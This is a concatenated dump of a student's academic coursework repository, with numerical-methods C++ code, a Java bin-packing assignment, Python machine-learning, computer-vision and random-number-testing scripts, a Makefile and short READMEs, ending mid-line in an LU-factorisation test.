PI/3, f2, 8); vector<precision> result3 = romberg(-2, 1, 3, f3, 16); vector<precision> result4 = romberg(0, 3.5, 3.5, f4, 16); vector<precision> result5 = romberg(0.1, 2.5, 2.4, f5, 16); vector<precision> result6 = romberg(1, 2, 1, f6, 16); vector< vector<precision> > result_full = romberg_full(0.1, 3.5, 3.5 - 0.1, f4, 10); ofstream data; data.open("data"); //data.precision(numeric_limits<precision>::digits10); data.precision(numeric_limits<float>::digits10); vector<precision> temp = trapezoid(1, 0.1, 3.5, 3.5-0.1, f4, 10); for(int i = 0; i < result_full.size(); i++) { for(int j = 0; j < result_full[i].size(); j++) { data << abs(I4new - result_full[j][i]) << "\t"; } data << endl; } for(int i = 0; i < temp.size(); i++) { data << I4new - temp[i] << endl; } data.close(); return 0; } <file_sep>// <NAME>, FIU Mathematics & Computer Science BSc // Spring 2013 import java.util.Scanner; import java.util.Arrays; import java.util.ArrayList; import java.util.PriorityQueue; import java.util.TreeSet; import java.lang.Math; import java.io.File; import java.io.FileNotFoundException; import java.io.PrintWriter; import java.io.IOException; public class BucketSorts { public static void main(String args[]) throws FileNotFoundException { PrintWriter writer = new PrintWriter("output.txt"); if(args.length == 0) { writer.println("Error: no files provided. Provide full path address."); System.out.println("Error: no files provided. Provide full path address."); return; } writer.println("The problem with First-Fit looks like it is continuously adding to the fourth bucket and refusing to create more, causing integer overflow and giving weird values. I do not know why more buckets are not created in the tournament tree, as when I hard-code the bucket-creating piece of the code that runs in my while-loop, new buckets are created and the algorithm works as intended, but if left to run in the loop (as it should) it refuses to create more than 4 buckets. The tournament tree was implemented using an array as explained in class. I tried the similar code using a TournamentTree class I made and the same problem occured.\n"); for(String s : args) { Scanner scanner = new Scanner(new File(s)); int[] weights; long sum = 0l; //counting how many weights there are in the file //ignores anything in the file which is not an integer //checks to make sure weights fall within the specified range and that there are enough weights while(scanner.hasNextInt()) { int n = scanner.nextInt(); //error checking if(n < 1 || n > 999999999) { writer.printf("Error: out of bounds value in %s. File ignored.\n", s); sum = -1l; break; } sum = sum + 1; } //error checking if(sum == -1l) { continue; } //error checking if(sum == 0) { writer.printf("Error: file %s contains no numbers. File ignored."); continue; } //error checking if(sum < 10 || sum > 1000000000) { writer.printf("Error: too many or too few weights in %s. File ignored.\n", s); continue; } scanner = new Scanner(new File(s)); weights = new int[(int) sum]; sum = 0; //reading input and populating the array of weights for(int i = 0; i < weights.length; i++) { int in = scanner.nextInt(); weights[i] = in; sum = sum + in; } sum = sum / 1000000000; writer.printf("Analysis for file %s\nThe ideal number of bins is %d.\n", s, sum); //online algorithms writer.println("\nOnline algorithms:"); writer.println("\tNext fit:"); next_fit_online(weights, writer); writer.println("\tWorst fit:"); worst_fit_online(weights, writer); writer.println("\tBest fit:"); best_fit_online(weights, writer); writer.println("\tFirst fit (tournament tree):"); first_fit_online(weights, writer); Arrays.sort(weights); //offline algorithms writer.println("\nOffline algorithms:"); writer.println("\tNext fit:"); next_fit_offline(weights, writer); writer.println("\tWorst fit:"); worst_fit_offline(weights, writer); writer.println("\tBest fit:"); best_fit_offline(weights, writer); writer.println("\tFirst fit (tournament tree):"); first_fit_offline(weights, writer); writer.println(); } writer.close(); } //online algorithms public static void next_fit_online(int[] weights, PrintWriter writer) { long time = System.nanoTime(); int bucketsize; ArrayList<Integer> buckets = new ArrayList<>(); buckets.add(0); //next-fit algorithm for(int i = 0; i < weights.length; i++) { if(buckets.get(buckets.size() - 1) + weights[i] <= 1000000000) buckets.set(buckets.size() - 1, buckets.get(buckets.size() - 1) + weights[i]); else buckets.add(weights[i]); } bucketsize = buckets.size(); writer.printf("\t\t%d bucket(s) used.\n", bucketsize); writer.print("\t\tFirst ten buckets' contents:"); //prints first 10 buckets' contents, or all of the buckets if there are less than 10 buckets for(int i = 0; i < Math.min(bucketsize, 10); i++) writer.printf(" %d", buckets.get(i)); long total_time = System.nanoTime() - time; writer.println("\n\t\tTime elapsed: " + total_time + " nanoseconds."); } public static void worst_fit_online(int[] weights, PrintWriter writer) { long time = System.nanoTime(); int name = 0; int heapsize; PriorityQueue<WorstBin> heap = new PriorityQueue<>(); heap.add(new WorstBin(name, weights[0])); //worst-fit algorithm for(int i = 0; i < weights.length; i++) { WorstBin worst = heap.poll(); //if the bin with the most space can fit weights[i] then add it //else create a new bin if(worst.contents + weights[i] <= WorstBin.capacity) { worst.contents = worst.contents + weights[i]; heap.add(worst); } else { name = name + 1; heap.add(worst); heap.add(new WorstBin(name, weights[i])); } } heapsize = heap.size(); writer.printf("\t\t%d bucket(s) used.\n", heapsize); writer.print("\t\tFirst ten buckets' contents:"); //prints first 10 buckets' contents, or all of the buckets if there are less than 10 buckets for(int i = 0; i < Math.min(heapsize, 10); i++) writer.printf(" %d", heap.poll().contents); long total_time = System.nanoTime() - time; writer.println("\n\t\tTime elapsed: " + total_time + " nanoseconds."); } public static void best_fit_online(int[] weights, PrintWriter writer) { long time = System.nanoTime(); int name = 0; int bucketsize; TreeSet<BestBin> buckets = new TreeSet<>(); buckets.add(new BestBin(name, weights[0])); //best-fit algorithm for(int i = 0; i < weights.length; i++) { boolean flag = false; BestBin best = buckets.first(); //finds the heaviest bucket which can fit the next weight while(best.contents + weights[i] > BestBin.capacity) { BestBin better = buckets.lower(best); if(better == null) { flag = true; break; } else { best = better; } } //if no bucket was found, create a new bucket if(flag) { name = name + 1; buckets.add(new BestBin(name, weights[i])); } else { buckets.remove(best); best.contents = best.contents + weights[i]; buckets.add(best); } } bucketsize = buckets.size(); writer.printf("\t\t%d bucket(s) used.\n", bucketsize); writer.print("\t\tFirst ten buckets' contents:"); //prints first 10 buckets' contents, or all of the buckets if there are less than 10 buckets for(int i = 0; i < Math.min(bucketsize, 10); i++) writer.printf(" %d", buckets.pollFirst().contents); long total_time = System.nanoTime() - time; writer.println("\n\t\tTime elapsed: " + total_time + " nanoseconds."); } public static void first_fit_online(int[] weights, PrintWriter writer) { long time = System.nanoTime(); ArrayList<Bin> buckets = new ArrayList<>(); ArrayList<Bin> tournament = new ArrayList<>(); buckets.add(new Bin(weights[0])); tournament.add(null); tournament.add(new Bin()); tournament.add(buckets.get(0)); tournament.add(tournament.get(1)); //first-fit algorithm for(int i = 0; i < weights.length; i++) { int root = 1; int value = Bin.capacity - weights[i]; boolean flag = false; //traverse the tree until a leaf is found while(4 * (root / 2) < tournament.size()) { if(root == 1) root = 2; else root = 4 * (root / 2); //if the child to the left is greater than the target value, go to the right if(tournament.get(root).contents > value) { //if no existing buckets are found, add to the zero bucket and create a new one if(root + 1 >= tournament.size()) { buckets.add(new Bin()); tournament.add(buckets.get(buckets.size() - 1)); } root = root + 1; } } if(tournament.get(root).contents > value) root = root + 1; //if no match found, create a new bin if(tournament.get(root).contents == 0) { buckets.add(new Bin()); tournament.add(buckets.get(buckets.size() - 1)); } tournament.get(root).contents = tournament.get(root).contents + weights[i]; while(root > 1) { root = root / 2; if(tournament.get(2 * root).contents < tournament.get(2 * root + 1).contents) tournament.set(root, tournament.get(2 * root)); else tournament.set(root, tournament.get(2 * root + 1)); } } writer.printf("\t\t%d bucket(s) used.\n", buckets.size() - 1); writer.print("\t\tFirst ten buckets' contents:"); //prints first 10 buckets' contents, or all of the buckets if there are less than 10 buckets for(int i = 0; i < Math.min(buckets.size(), 10); i++) if(buckets.get(i).contents != 0) writer.printf(" %d", buckets.get(i).contents); long total_time = System.nanoTime() - time; writer.println("\n\t\tTime elapsed: " + total_time + " nanoseconds."); } //offline algorithms public static void next_fit_offline(int[] weights, PrintWriter writer) { long time = System.nanoTime(); int bucketsize; ArrayList<Integer> buckets = new ArrayList<>(); buckets.add(0); //next-fit algorithm for(int i = weights.length - 1; i >= 0; i--) { if(buckets.get(buckets.size() - 1) + weights[i] <= 1000000000) buckets.set(buckets.size() - 1, buckets.get(buckets.size() - 1) + weights[i]); else buckets.add(weights[i]); } bucketsize = buckets.size(); writer.printf("\t\t%d bucket(s) used.\n", bucketsize); writer.print("\t\tFirst ten buckets' contents:"); //prints first 10 buckets' contents, or all of the buckets if there are less than 10 buckets for(int i = 0; i < Math.min(bucketsize, 10); i++) writer.printf(" %d", buckets.get(i)); long total_time = System.nanoTime() - time; writer.println("\n\t\tTime elapsed: " + total_time + " nanoseconds."); } public static void worst_fit_offline(int[] weights, PrintWriter writer) { long time = System.nanoTime(); int name = 0; int heapsize; PriorityQueue<WorstBin> heap = new PriorityQueue<>(); heap.add(new WorstBin(name, weights[weights.length - 1])); //worst-fit algorithm for(int i = weights.length - 2; i >= 0; i--) { WorstBin worst = heap.peek(); //if the bin with the most space can fit weights[i] then add it //else create a new bin if(worst.contents + weights[i] <= WorstBin.capacity) { heap.poll(); worst.contents = worst.contents + weights[i]; heap.add(worst); } else { name = name + 1; heap.add(new WorstBin(name, weights[i])); } } heapsize = heap.size(); writer.printf("\t\t%d bucket(s) used.\n", heapsize); writer.print("\t\tFirst ten buckets' contents:"); //prints first 10 buckets' contents, or all of the buckets if there are less than 10 buckets for(int i = 0; i < Math.min(heapsize, 10); i++) writer.printf(" %d", heap.poll().contents); long total_time = System.nanoTime() - time; writer.println("\n\t\tTime elapsed: " + total_time + " nanoseconds."); } public static void best_fit_offline(int[] weights, PrintWriter writer) { long time = System.nanoTime(); int name = 0; int bucketsize; TreeSet<BestBin> buckets = new TreeSet<>(); buckets.add(new BestBin(name, weights[weights.length - 1])); //best-fit algorithm for(int i = weights.length - 2; i >= 0; i--) { boolean flag = false; BestBin best = buckets.first(); //finds the heaviest bucket which can fit the next weight while(best.contents + weights[i] > BestBin.capacity) { BestBin better = buckets.lower(best); if(better == null) { flag = true; break; } else { best = better; } } //if no bucket was found, create a new bucket if(flag) { name = name + 1; buckets.add(new BestBin(name, weights[i])); } else { buckets.remove(best); best.contents = best.contents + weights[i]; buckets.add(best); } } bucketsize = buckets.size(); writer.printf("\t\t%d bucket(s) used.\n", bucketsize); writer.print("\t\tFirst ten buckets' contents:"); //prints first 10 buckets' contents, or all of the buckets if there are less than 10 buckets for(int i = 0; i < Math.min(bucketsize, 10); i++) writer.printf(" %d", buckets.pollFirst().contents); long total_time = System.nanoTime() - time; writer.println("\n\t\tTime elapsed: " + total_time + " nanoseconds."); } public static void first_fit_offline(int[] weights, PrintWriter writer) { long time = System.nanoTime(); ArrayList<Bin> buckets = new ArrayList<>(); ArrayList<Bin> tournament = new ArrayList<>(); buckets.add(new Bin(weights[weights.length - 1])); tournament.add(null); tournament.add(new Bin()); tournament.add(buckets.get(0)); tournament.add(tournament.get(1)); //first-fit algorithm for(int i = weights.length - 2; i >= 0; i--) { int root = 1; int value = Bin.capacity - weights[i]; boolean flag = false; //traverse the tree until a leaf is found while(4 * (root / 2) < tournament.size()) { if(root == 1) root = 2; else root = 4 * (root / 2); //if the child to the left is greater than the target value, go to the right if(tournament.get(root).contents > value) { //if no existing buckets are found, add to the zero bucket and create a new one if(root + 1 >= tournament.size()) { buckets.add(new Bin()); tournament.add(buckets.get(buckets.size() - 1)); } root = root + 1; } } if(tournament.get(root).contents > value) root = root + 1; //if no match found, create a new bin if(tournament.get(root).contents == 0) { buckets.add(new Bin()); tournament.add(buckets.get(buckets.size() - 1)); } tournament.get(root).contents = tournament.get(root).contents + weights[i]; while(root > 1) { root = root / 2; if(tournament.get(2 * root).contents < tournament.get(2 * root + 1).contents) tournament.set(root, tournament.get(2 * root)); else tournament.set(root, tournament.get(2 * root + 1)); } } writer.printf("\t\t%d bucket(s) used.\n", buckets.size() - 1); writer.print("\t\tFirst ten buckets' contents:"); //prints first 10 buckets' contents, or all of the buckets if there are less than 10 buckets for(int i = 0; i < Math.min(buckets.size(), 10); i++) if(buckets.get(i).contents != 0) writer.printf(" %d", buckets.get(i).contents); long total_time = System.nanoTime() - time; writer.println("\n\t\tTime elapsed: " + total_time + " nanoseconds."); } } class Bin { int contents; static int capacity = 1000000000; public Bin() { this.contents = 0; } public Bin(int contents) { this.contents = contents; } } class WorstBin implements Comparable<WorstBin> { int name; int contents; static int capacity = 1000000000; public WorstBin(int name) { this.name = name; this.contents = 0; } public WorstBin(int name, int contents) { this.name = name; this.contents = contents; } //compares based on which bin has more space left //ties are broken by which bin has the lower name public int compareTo(WorstBin bin) { int difference = (WorstBin.capacity - bin.contents) - (WorstBin.capacity - this.contents); if(difference == 0) return this.name - bin.name; return difference; } } class BestBin implements Comparable<BestBin> { int name; int contents; static int capacity = 1000000000; public BestBin(int name) { this.name = name; this.contents = 0; } public BestBin(int name, int contents) { this.name = name; this.contents = contents; } //compares based on which bin has less space left //ties are broken by which bin has the lower name public int compareTo(BestBin bin) { int difference = (BestBin.capacity - this.contents) - (BestBin.capacity - bin.contents); if(difference == 0) return this.name - bin.name; return difference; } } <file_sep># <NAME>, FSU Mathematics PhD # <NAME>, FSU Mathematics PhD # Applied Machine Learning Assignment 3 from math import sqrt training_data = ["./data/gisette/gisette_train.data", "./data/madelon/madelon_train.data", "./data/hill-valley/X.dat"] test_data = ["./data/gisette/gisette_valid.data", "./data/madelon/madelon_valid.data", "./data/hill-valley/Xtest.dat"] training_labels = ["./data/gisette/gisette_train.labels", "./data/madelon/madelon_train.labels", "./data/hill-valley/Y.dat"] test_labels = ["./data/gisette/gisette_valid.labels", "./data/madelon/madelon_valid.labels", "./data/hill-valley/Ytest.dat"] for f_train_data, f_test_data, f_train_labels, f_test_labels in zip(training_data, test_data, training_labels, test_labels): with open(f_train_data) as train, open(f_test_data) as test, open(f_train_labels) as train_labels, open(f_test_labels) as test_labels: print("Processing: " + str(f_train_data.split("/")[-1])) N = 0 flag = True for line in train: N = N + 1 line = [float(x) for x in line.strip().strip("\n").split(" ")] if(flag): avg = line flag = False else: avg = [x + y for x, y in zip(avg, line)] avg = [x/N for x in avg] train.seek(0) flag = True for line in train: line = [float(x) for x in line.strip().strip("\n").split(" ")] if(flag): shifted = [[x - y for x, y in zip(line, avg)]] std = [x**2 for x in shifted[-1]] flag = False else: shifted.append([x - y for x, y in zip(line, avg)]) std = [x + y**2 for x, y in zip(std, shifted[-1])] std = [sqrt(x) for x in std] norm = [[x/s for x, s in zip(vector, std) if s != 0] for vector in shifted] with open("./data-norm/" + f_train_data.split("/")[-2] + "/" + f_train_data.split("/")[-1], "w") as output: for vector in norm: for x in vector: output.write(str(x) + " ") output.write("\n") print("Processing: " + str(f_test_data.split("/")[-1])) norm = [] for line in test: line = [float(x) for x in line.strip().strip("\n").split(" ")] norm.append([(x - m)/s for x, m, s in zip(line, avg, std) if s != 0]) with open("./data-norm/" + f_test_data.split("/")[-2] + "/" + f_test_data.split("/")[-1], "w") as output: for vector in norm: for x in vector: output.write(str(x) + " ") output.write("\n") print("Processing: " + str(f_train_labels).split("/")[-1]) with open("./data-norm/" + f_train_labels.split("/")[-2] + "/" + f_train_labels.split("/")[-1], "w") as output: for line in train_labels: line = [int(x) for x in line.strip().strip("\n").split(" ")] if line[0] == 1: output.write("1\n") else: output.write("0\n") print("Processing: " + str(f_test_labels).split("/")[-1]) with open("./data-norm/" + f_test_labels.split("/")[-2] + "/" + f_test_labels.split("/")[-1], "w") as output: for line in test_labels: line = [int(x) for x in line.strip().strip("\n").split(" ")] if line[0] == 1: output.write("1\n") else: output.write("0\n") <file_sep># Computer Vision Course (CSE 40535/60535) # University of Notre Dame, Fall 2019 # ---------------------------------------------------------------- # <NAME>, <NAME>, September 2017-2019 # Below are your tasks for today. Present your solutions to the instructor / TA in class. # If you need more time, finish your codes at home and upload them to your SAKAI Dropbox by Wednesday, Sept. 18, 11:59 pm. # # Task 1 (2 points): # - Select one candy that you want to track and set the RGB # channels to the selected ranges (using hsvSelection.py). # - Check if HSV color space works better. Can you ignore one or two # channels when working in HSV color space ("ignore" = set the lower bound to 0 and upper bound to 255)? Is so, why? # - Try to track candies of different colors (blue, yellow, green). # - What happens when you put two candies of the same color into a video frame? # - If you have not presented your solution to the instructor in class, upload your code solving this task to your SAKAI Dropbox as colorTracking1.py # # Task 2 (1 point): # - Adapt your code to track multiple candies of *the same* color simultaneously. # - Upload your solution to your SAKAI Dropbox as colorTracking2.py # # Task 3 (2 points): # - Adapt your code to track multiple candies of *different* colors simultaneously. # - Upload your solution to your SAKAI Dropbox as colorTracking3.py import cv2 import numpy as np cam = cv2.VideoCapture(0) while (True): retval, img = cam.read() # rescale the input image if it's too large res_scale = 0.5 img = cv2.resize(img, (0,0), fx = res_scale, fy = res_scale) ####################################################### # TASK 1: # objmask = cv2.inRange(img, lower, upper) hsv = cv2.cvtColor(img, cv2.COLOR_BGR2HSV) # RED red_lower = np.array([168, 180, 100]) red_upper = np.array([178, 235, 150]) # GREEN green_lower = np.array([66, 150, 50]) green_upper = np.array([79, 255, 150]) # YELLOW yellow_lower = np.array([15, 175, 130]) yellow_upper = np.array([30, 255, 255]) # BLUE blue_lower = np.array([103, 180, 100]) blue_upper = np.array([115, 250, 170]) lower = [blue_lower] upper = [blue_upper] #lower = [green_lower, yellow_lower, blue_lower] #upper = [green_upper, yellow_upper, blue_upper] objmask = sum(cv2.inRange(hsv, l, u) for l in lower for u in upper) ####################################################### # you may use this for debugging cv2.imshow("Binary image", objmask) # Resulting binary image may have large number of small objects. # We can use morphological operations to remove these unnecessary elements: kernel = np.ones((5,5), np.uint8) objmask = cv2.morphologyEx(objmask, cv2.MORPH_CLOSE, kernel=kernel) objmask = cv2.morphologyEx(objmask, cv2.MORPH_DILATE, kernel=kernel) cv2.imshow("Image after morphological operations", objmask) # find connected components cc = cv2.connectedComponents(objmask) ccimg = cc[1].astype(np.uint8) # find contours of these objects: # use this if you have OpenCV 4.x version: contours, hierarchy = cv2.findContours(ccimg, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) # use this if you have OpenCV 3.x version: # ret, contours, hierarchy = cv2.findContours(ccimg, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE) # You may display the countour points if you want: # cv2.drawContours(img, contours, -1, (255,0,0), 3) # ignore bounding boxes smaller than "minObjectSize" minObjectSize = 20; def func(args): x, y, w, h = args return w*h ####################################################### # TASK 2: if contours: contour = max(contours, key=lambda c: func(cv2.boundingRect(c))) x, y, w, h = cv2.boundingRect(contour) ####################################################### # TASK 2 tip: you want to get bounding boxes # of ALL contours (not only the first one) ####################################################### # do not show very small objects if w > minObjectSize or h > minObjectSize: cv2.rectangle(img, (x, y), (x+w, y+h), (0,255,0), 3) cv2.putText(img, # image "Here's my candy!", # text (x, y-10), # start position cv2.FONT_HERSHEY_SIMPLEX, # font 0.7, # size (0, 255, 0), # BGR color 1, # thickness cv2.LINE_AA) # type of line cv2.imshow("Live WebCam", img) #for contour in contours: # x, y, w, h = cv2.boundingRect(contour) # print(x, y, w, h) # size = (w)*(h) # exit() # ####################################################### # # TASK 2 tip: you want to get bounding boxes # # of ALL contours (not only the first one) # ####################################################### # # do not show very small objects # if w > minObjectSize or h > minObjectSize: # cv2.rectangle(img, (x, y), (x+w, y+h), (0,255,0), 3) # cv2.putText(img, # image # "Here's my candy!", # text # (x, y-10), # start position # cv2.FONT_HERSHEY_SIMPLEX, # font # 0.7, # size # (0, 255, 0), # BGR color # 1, # thickness # cv2.LINE_AA) # type of line # cv2.imshow("Live WebCam", img) action = cv2.waitKey(1) if action == 27: break <file_sep># Nonlinear Stationary Methods An implementation of four nonlinear, multivariate stationary methods for solving nonlinear systems of equations. The methods implemented include Newton's method, Broyden's method, Jacobi-Newton one-step, and Gauss-Seidel-Newton one-step. <file_sep>import numpy as np import seaborn as sns import matplotlib.pyplot as plt sns.set(style='ticks', palette='Set2') def graph_randu(X, Y, filename): fig, ax = plt.subplots() ax.scatter(X[0], Y[0], marker='.', label='seed: 3') ax.scatter(X[1], Y[1], marker='.', label='seed: 5') ax.scatter(X[2], Y[2], marker='.', label='seed: 7') ax.scatter(X[3], Y[3], marker='.', label='seed: 9') ax.scatter(X[4], Y[4], marker='.', label='seed: 101') legend = ax.legend(loc='upper right') plt.savefig('../figures/' + filename + '.pdf', format='pdf', dpi=1000, bbox_inches='tight') def graph_mersenne(X, Y, filename): fig, ax = plt.subplots() ax.scatter(X, Y, marker='.') plt.savefig('../figures/' + filename + '.pdf', format='pdf', dpi=1000, bbox_inches='tight') def graph_halton(X1, Y1, X2, Y2, filename): fig, ax = plt.subplots() ax.scatter(X2, Y2, marker='$\cdot$', label='mersenne') ax.scatter(X1, Y1, marker='.', label='2D halton') plt.xlabel('base 2') plt.ylabel('base 3') legend = ax.legend(loc='upper right') plt.savefig('../figures/' + filename + '.pdf', format='pdf', dpi=1000, bbox_inches='tight') def graph_quadrature(Y1, Y2, filename): fig, ax = plt.subplots() ax.plot(Y1, label='MC') ax.plot(Y2, label='RQMC') ax.plot([np.exp(1)-1 for i in range(1, 41)], label=r'$\int e^x dx$') plt.xlabel('$k$') plt.ylabel(r'$\theta_k$') legend = ax.legend(loc='upper right') plt.savefig('../figures/' + filename + '.pdf', format='pdf', dpi=1000, bbox_inches='tight') def main(): randuX = [\ [float(line.strip().strip('\n').strip('(').strip(')').split(',')[0]) for line in open('../output/randu3.dat')],\ [float(line.strip().strip('\n').strip('(').strip(')').split(',')[0]) for line in open('../output/randu5.dat')],\ [float(line.strip().strip('\n').strip('(').strip(')').split(',')[0]) for line in open('../output/randu7.dat')],\ [float(line.strip().strip('\n').strip('(').strip(')').split(',')[0]) for line in open('../output/randu9.dat')],\ [float(line.strip().strip('\n').strip('(').strip(')').split(',')[0]) for line in open('../output/randu101.dat')]] randuY = [\ [float(line.strip().strip('\n').strip('(').strip(')').split(',')[1]) for line in open('../output/randu3.dat')],\ [float(line.strip().strip('\n').strip('(').strip(')').split(',')[1]) for line in open('../output/randu5.dat')],\ [float(line.strip().strip('\n').strip('(').strip(')').split(',')[1]) for line in open('../output/randu7.dat')],\ [float(line.strip().strip('\n').strip('(').strip(')').split(',')[1]) for line in open('../output/randu9.dat')],\ [float(line.strip().strip('\n').strip('(').strip(')').split(',')[1]) for line in open('../output/randu101.dat')]] mersenneX1 = [float(line.strip().strip('\n').strip('[').strip(']').split(',')[0]) for line in open('../output/mersenne_pairs.dat')] mersenneY1 = [float(line.strip().strip('\n').strip('[').strip(']').split(',')[1]) for line in open('../output/mersenne_pairs.dat')] haltonX = [float(line.strip().strip('\n').strip('[').strip(']').split(',')[0]) for line in open('../output/halton.dat')] haltonY = [float(line.strip().strip('\n').strip('[').strip(']').split(',')[1]) for line in open('../output/halton.dat')] mersenneX2 = [float(line.strip().strip('\n').strip('[').strip(']').split(',')[0]) for line in open('../output/mersenne.dat')] mersenneY2 = [float(line.strip().strip('\n').strip('[').strip(']').split(',')[1]) for line in open('../output/mersenne.dat')] MC1 = [float(x) for x in [line.strip().strip('\n').strip('[').strip(']').split(',') for line in open('../output/MC1.dat')][0]] MC2 = [float(x) for x in [line.strip().strip('\n').strip('[').strip(']').split(',') for line in open('../output/MC2.dat')][0]] RQMC1 = [float(x) for x in [line.strip().strip('\n').strip('[').strip(']').split(',') for line in open('../output/RQMC1.dat')][0]] RQMC2 = [float(x) for x in [line.strip().strip('\n').strip('[').strip(']').split(',') for line in open('../output/RQMC2.dat')][0]] graph_randu(randuX, randuY, 'randu') graph_mersenne(mersenneX1, mersenneY1, 'mersenne2D') graph_halton(haltonX, haltonY, mersenneX2, mersenneY2, 'halton') graph_quadrature(MC1, RQMC1, 'MC1') graph_quadrature(MC2, RQMC2, 'MC2') main() <file_sep>all: a.out clean a.out: code.o linear-algebra.o norms.o test-cases.o g++ -std="c++11" -o a.out code.o linear-algebra.o norms.o test-cases.o code.o: code.cpp g++ -std="c++11" -c code.cpp linear-algebra.o: linear-algebra.cpp g++ -std="c++11" -c linear-algebra.cpp norms.o: norms.cpp g++ -std="c++11" -c norms.cpp test-cases.o: test-cases.cpp g++ -std="c++11" -c test-cases.cpp clean: rm *.o <file_sep># Academic Projects directory | classification | course | course code ----------- | ----------------- | ------------------------------------- | ------------- nd | graduate | Computer Vision 1 | CSE 60535 fsu | graduate | Applied Machine Learning | STA 5635 <i></i> | <i></i> | Found. of Computational Math 1 & 2 | MAD 5403 & 5404 <i></i> | <i></i> | Monte Carlo in Financial Math | MAP 5615 <i></i> | <i></i> | Numerical Linear Algebra | MAP 5932 fiu | undergraduate | Programming 2 | COP 3337 <i></i> | <i></i> | Programming 3 | COP 4338 <i></i> | <i></i> | Programming Languages | COP 4555 <i></i> | <i></i> | Net-Centric Computing | CNT 4713 <i></i> | <i></i> | Programming Team | <i></i> hawaii | summer REU | research paper | <i></i> <i></i> | <i></i> | poster presentation | <i></i> <i></i> | <i></i> | presentation slides | <i></i> <file_sep>import random import numpy as np def mersenne_twister(n): return [random.random() for x in range(0, n)] def run_ups(seq): length = 1 u1, u2, u3, u4 = (0, 0, 0, 0) prev = seq[0] for u in seq[1:]: if prev <= u: length += 1 else: if length == 1: u1 += 1 elif length == 2: u2 += 1 elif length == 3: u3 += 1 else: u4 += 1 length = 1 prev = u if length == 1: u1 += 1 elif length == 2: u2 += 1 elif length == 3: u3 += 1 else: u4 += 1 return u1, u2, u3, u4 def modified_run_ups(seq): skip = False length = 1 u1, u2, u3, u4 = (0, 0, 0, 0) prev = seq[0] for u in seq[1:]: if skip: prev = u length = 0 skip = False if prev <= u: length += 1 prev = u else: if length == 1: u1 += 1 elif length == 2: u2 += 1 elif length == 3: u3 += 1 else: u4 += 1 skip = True if length == 1: u1 += 1 elif length == 2: u2 += 1 elif length == 3: u3 += 1 else: u4 += 1 return u1, u2, u3, u4 def serial_correlation(runs): u1, u2, u3, u4 = runs s = pow(u1 + u2 + u3 + u4, 2) return (4*(u1*u2 + u2*u3 + u3*u4 + u4*u1) - s) / (4*(pow(u1, 2) + pow(u2, 2) + pow(u3, 2) + pow(u4, 2)) - s) def serial_stats(n = 100, m = 15, verbose = False): ρ = [serial_correlation(run_ups(mersenne_twister(m))) for i in range(0, n)] ρ_mod = [serial_correlation(modified_run_ups(mersenne_twister(m))) for i in range(0, n)] indep_ρ = [serial_correlation(run_ups(mersenne_twister(2*n))) for i in range(0, n)] indep_ρ_mod = [serial_correlation(modified_run_ups(mersenne_twister(3*n))) for i in range(0, n)] μ = -1/(n-1) σ = np.sqrt(pow(n, 2)/(pow(n-1, 2)*(n-2))) if verbose: stats = 'ρ: \n' + str(ρ) + '\n'\ + 'ρ_mod: \n' + str(ρ_mod) + '\n'\ + 'indep_ρ: \n' + str(indep_ρ) + '\n'\ + 'indep_ρ_mod: \n' + str(indep_ρ_mod) + '\n\n' else: stats = '' stats += 'μ = ' + str(μ) + '\n'\ + 'σ = ' + str(σ) + '\n'\ + 'mean: ' + str(np.mean(ρ)) + '\n'\ + 'std dev: ' + str(np.std(ρ)) + '\n\n'\ + 'mean modified: ' + str(np.mean(ρ_mod)) + '\n'\ + 'std dev modified: ' + str(np.std(ρ_mod)) + '\n\n'\ + 'indep mean: ' + str(np.mean(indep_ρ)) + '\n'\ + 'indep std dev: ' + str(np.std(indep_ρ)) + '\n\n'\ + 'indep mean modified: ' + str(np.mean(indep_ρ_mod)) + '\n'\ + 'indep std dev modified: ' + str(np.std(indep_ρ_mod)) + '\n\n'\ + 'confidence: (' + str(μ - 2*σ) + ', ' + str(μ + 2*σ) + ')' return stats def chi_squared(k=100, n=300): lower, upper = (0.352, 7.815) accept, reject = (0, 0) Qs = [] for i in range(0, k): Y1, Y2, Y3, Y4 = run_ups(mersenne_twister(n)) p1, p2, p3, p4 = (1-1/2, 1/2-1/6, 1/6-1/24, 1/24) Q = (pow(Y1 - n*p1, 2)/p1 + pow(Y2 - n*p2, 2)/p2 + pow(Y3 - n*p3, 2)/p3 + pow(Y4 - n*p4, 2)/p4)/n Qs.append(Q) if lower <= Q <= upper: accept += 1 else: reject += 1 return ("Accept", Qs) if accept > reject else ("Reject", Qs) def main(): print(serial_stats()) print('') result, Qs = chi_squared() print(result) print(Qs) main() <file_sep>void partB(FILE *file, char *choice); <file_sep># (Fast) Discrete Fourier Transforms An implementation of the naïve discrete Fourier and inverse Fourier transforms, along with an implementation of the fast Fourier and inverse Fourier transforms for solving linear systems. <file_sep>/* * <NAME> * Florida State University Dept. of Mathematics */ #include <iostream> #include <fstream> #include <limits> #include <vector> #include <math.h> #include <time.h> #include <cmath> #include <complex> using namespace std; #include "norms.h" #include "matrix.h" #include "code.h" //adding the g++ directive -DSINGLE=1 at compile time enables single precision #ifdef SINGLE typedef float precision; #else typedef double precision; #endif const precision PI = M_PI; int main(int argc, char* argv[]) { int n = 1000; ofstream data; data.open("data"); data << "n: " << n << endl << endl; //test 1 vector<vector<precision>> L = generate_unit_triangular(n); vector<vector<precision>> U = generate_upper_triangular(n); vector<vector<precision>> ALU = product(L, U); vector<vector<precision>> LU_none = factor(ALU, 0, 0); vector<vector<precision>> LU_partial = factor(ALU, 1, 0); vector<vector<precision>> LU_complete = factor(ALU, 0, 1); data << "Test 1: generate L and U, compute A <- LU, and factor A" << endl; data << "-------" << endl; data << "factorization relative error without pivoting using L1 Norm: " << factorization_accuracy(ALU, LU_none, ALU, norm_1) << endl; data << "factorization relative error with partial pivoting using L1 Norm: " << factorization_accuracy(permute_P(LU_partial[n], ALU), LU_partial, ALU, norm_1) << endl; data << "factorization relative error with complete pivoting using L1 Norm: " << factorization_accuracy(permute_Q(LU_complete[n+1], permute_P(LU_complete[n], ALU)), LU_complete, ALU, norm_1) << endl; data << "-------" << endl; data << "factorization relative error without pivoting using Infinity Norm: " << factorization_accuracy(ALU, LU_none, ALU, norm_infinity) << endl; data << "factorization relative error with partial pivoting using Infinity Norm: " << factorization_accuracy(permute_P(LU_partial[n], ALU), LU_partial, ALU, norm_infinity) << endl; data << "factorization relative error with complete pivoting using Infinity Norm: " << factorization_accuracy(permute_Q(LU_complete[n+1], permute_P(LU_complete[n], ALU)), LU_complete, ALU, 